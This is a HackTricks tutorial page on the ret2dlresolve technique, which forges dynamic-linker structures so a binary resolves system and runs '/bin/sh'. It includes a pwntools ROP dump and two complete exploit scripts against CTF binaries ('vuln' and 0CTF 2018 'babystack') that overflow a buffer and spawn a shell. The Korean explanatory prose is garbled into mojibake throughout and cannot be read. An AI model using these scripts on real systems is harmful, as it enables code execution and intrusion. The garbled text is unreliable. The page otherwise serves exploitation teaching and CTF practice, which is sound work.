Ret2dlresolve
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Basic Information
GOT/PLT ๋ฐ Relro์ ๋ํ ํ์ด์ง์์ ์ค๋ช
ํ ๋ฐ์ ๊ฐ์ด, Full Relro๊ฐ ์๋ ๋ฐ์ด๋๋ฆฌ๋ ์ฒ์ ์ฌ์ฉ๋ ๋ ์ธ๋ถ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ํ ์ฃผ์์ ๊ฐ์ ๊ธฐํธ๋ฅผ ํด๊ฒฐํฉ๋๋ค. ์ด ํด๊ฒฐ์ _dl_runtime_resolve ํจ์๋ฅผ ํธ์ถํ์ฌ ๋ฐ์ํฉ๋๋ค.
_dl_runtime_resolve ํจ์๋ ์ง์ ๋ ๊ธฐํธ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด ํ์ํ ๋ช ๊ฐ์ง ๊ตฌ์กฐ์ฒด์ ๋ํ ์ฐธ์กฐ๋ฅผ ์คํ์์ ๊ฐ์ ธ์ต๋๋ค.
๋ฐ๋ผ์ ์์ฒญ๋ ๊ธฐํธ(์: system ํจ์)๋ฅผ ๋์ ์ผ๋ก ์ฐ๊ฒฐ๋ ํด๊ฒฐ์ ์ํด ๋ชจ๋ ์ด๋ฌํ ๊ตฌ์กฐ์ฒด๋ฅผ ์์กฐํ ์ ์์ผ๋ฉฐ, ๊ตฌ์ฑ๋ ๋งค๊ฐ๋ณ์(์: system('/bin/sh'))๋ก ํธ์ถํ ์ ์์ต๋๋ค.
์ผ๋ฐ์ ์ผ๋ก ์ด๋ฌํ ๋ชจ๋ ๊ตฌ์กฐ์ฒด๋ ์ฐ๊ธฐ ๊ฐ๋ฅํ ๋ฉ๋ชจ๋ฆฌ์์ read๋ฅผ ํธ์ถํ๋ ์ด๊ธฐ ROP ์ฒด์ธ์ ๋ง๋ค์ด ์์กฐ๋ฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ ๊ตฌ์กฐ์ฒด์ ๋ฌธ์์ด **'/bin/sh'**๊ฐ ์๋ ค์ง ์์น์ ์ ์ฅ๋๋๋ก ์ฝ๊ธฐ์ ์ํด ์ ๋ฌ๋๊ณ , ์ดํ ROP ์ฒด์ธ์ **_dl_runtime_resolve**๋ฅผ ํธ์ถํ์ฌ ๊ฐ์ง ๊ตฌ์กฐ์ฒด์์ system์ ์ฃผ์๋ฅผ ํด๊ฒฐํ๊ณ ์ด ์ฃผ์๋ฅผ $'/bin/sh'์ ์ฃผ์๋ก ํธ์ถํฉ๋๋ค.
Tip
์ด ๊ธฐ์ ์ syscall ๊ฐ์ ฏ์ด ์๊ณ (ret2syscall ๋๋ SROP์ ๊ฐ์ ๊ธฐ์ ์ ์ฌ์ฉํ ์ ์๋ ๊ฒฝ์ฐ) libc ์ฃผ์๋ฅผ ์ ์ถํ ๋ฐฉ๋ฒ์ด ์์ ๋ ํนํ ์ ์ฉํฉ๋๋ค.
์ด ๊ธฐ์ ์ ๋ํ ์ข์ ์ค๋ช ์ ๋น๋์ค ํ๋ฐ๋ถ์์ ํ์ธํ์ธ์:
๋๋ ๋จ๊ณ๋ณ ์ค๋ช ์ ์ํด ๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
- https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works
- https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures
Attack Summary
- ์ผ๋ถ ์์น์ ๊ฐ์ง ๊ตฌ์กฐ์ฒด ์์ฑ
- system์ ์ฒซ ๋ฒ์งธ ์ธ์ ์ค์ (
$rdi = &'/bin/sh') - **
_dl_runtime_resolve**๋ฅผ ํธ์ถํ๊ธฐ ์ํด ์คํ์ ๊ตฌ์กฐ์ฒด์ ์ฃผ์ ์ค์ - ํธ์ถ
_dl_runtime_resolve - **
system**์ด ํด๊ฒฐ๋๊ณ'/bin/sh'๋ฅผ ์ธ์๋ก ํธ์ถ๋ฉ๋๋ค.
pwntools documentation์์ ret2dlresolve ๊ณต๊ฒฉ์ด ์ด๋ป๊ฒ ๋ณด์ด๋์ง ํ์ธํ์ธ์:
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000: 0x400593 pop rdi; ret
0x0008: 0x0 [arg0] rdi = 0
0x0010: 0x400591 pop rsi; pop r15; ret
0x0018: 0x601e00 [arg1] rsi = 6299136
0x0020: b'iaaajaaa' <pad r15>
0x0028: 0x4003f0 read
0x0030: 0x400593 pop rdi; ret
0x0038: 0x601e48 [arg0] rdi = 6299208
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
์์
์์ Pwntools
์ฌ๊ธฐ์์ ์ด ๊ธฐ์ ์ ์๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค ์ต์ข ROP ์ฒด์ธ์ ๋ํ ๋งค์ฐ ์ข์ ์ค๋ช ์ด ํฌํจ๋์ด ์์ต๋๋ค, ํ์ง๋ง ์ฌ๊ธฐ ์ฌ์ฉ๋ ์ต์ข ์ต์คํ๋ก์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
p.interactive()
์์
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
from pwn import *
target = process('./babystack')
#gdb.attach(target)
elf = ELF('babystack')
# Establish starts of various sections
bss = 0x804a020
dynstr = 0x804822c
dynsym = 0x80481cc
relplt = 0x80482b0
# Establish two functions
scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address
# Establish size of second payload
payload1_size = 43
# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug
payload0 = ""
payload0 += "0"*44 # Filler from start of input to return address
payload0 += p32(elf.symbols['read']) # Return read
payload0 += scanInput # After the read call, return to scan input
payload0 += p32(0) # Read via stdin
payload0 += p32(bss) # Scan into the start of the bss
payload0 += p32(payload1_size) # How much data to scan in
target.send(payload0)
# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack
# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7
# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr
paylaod1 = ""
# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)
# Empty
paylaod1 += p32(0x0)
# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3
# Our dynstr entry
paylaod1 += "system\x00"
# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"
target.send(paylaod1)
# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system
# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35
# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt
paylaod2 = ""
paylaod2 += "0"*44
paylaod2 += resolve # 0x80482f0
paylaod2 += p32(ret_plt_offset) # .rel.plt offset
paylaod2 += p32(0xdeadbeef) # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address) # Our argument, address of "/bin/sh"
target.send(paylaod2)
# Enjoy the shell!
target.interactive()
๋ค๋ฅธ ์์ ๋ฐ ์ฐธ๊ณ ์๋ฃ
- https://youtu.be/ADULSwnQs-s
- https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve
- https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
- 32๋นํธ, relro ์์, ์นด๋๋ฆฌ ์์, nx, pie ์์, ๊ธฐ๋ณธ ์์ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ๋ฐ ๋ฐํ. ์ด๋ฅผ ์ด์ฉํด bof๋
.bss์น์ ๊ณผ ๋ ํฐ ํฌ๊ธฐ๋กread๋ฅผ ๋ค์ ํธ์ถํ๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ, ๊ทธ๊ณณ์dlresolve๊ฐ์ง ํ ์ด๋ธ์ ์ ์ฅํ์ฌsystem์ ๋ก๋ํ๊ณ , main์ผ๋ก ๋ฐํํ ํ ์ด๊ธฐ bof๋ฅผ ์ฌ์ฌ์ฉํ์ฌ dlresolve๋ฅผ ํธ์ถํ๊ณsystem('/bin/sh')๋ฅผ ์คํํฉ๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


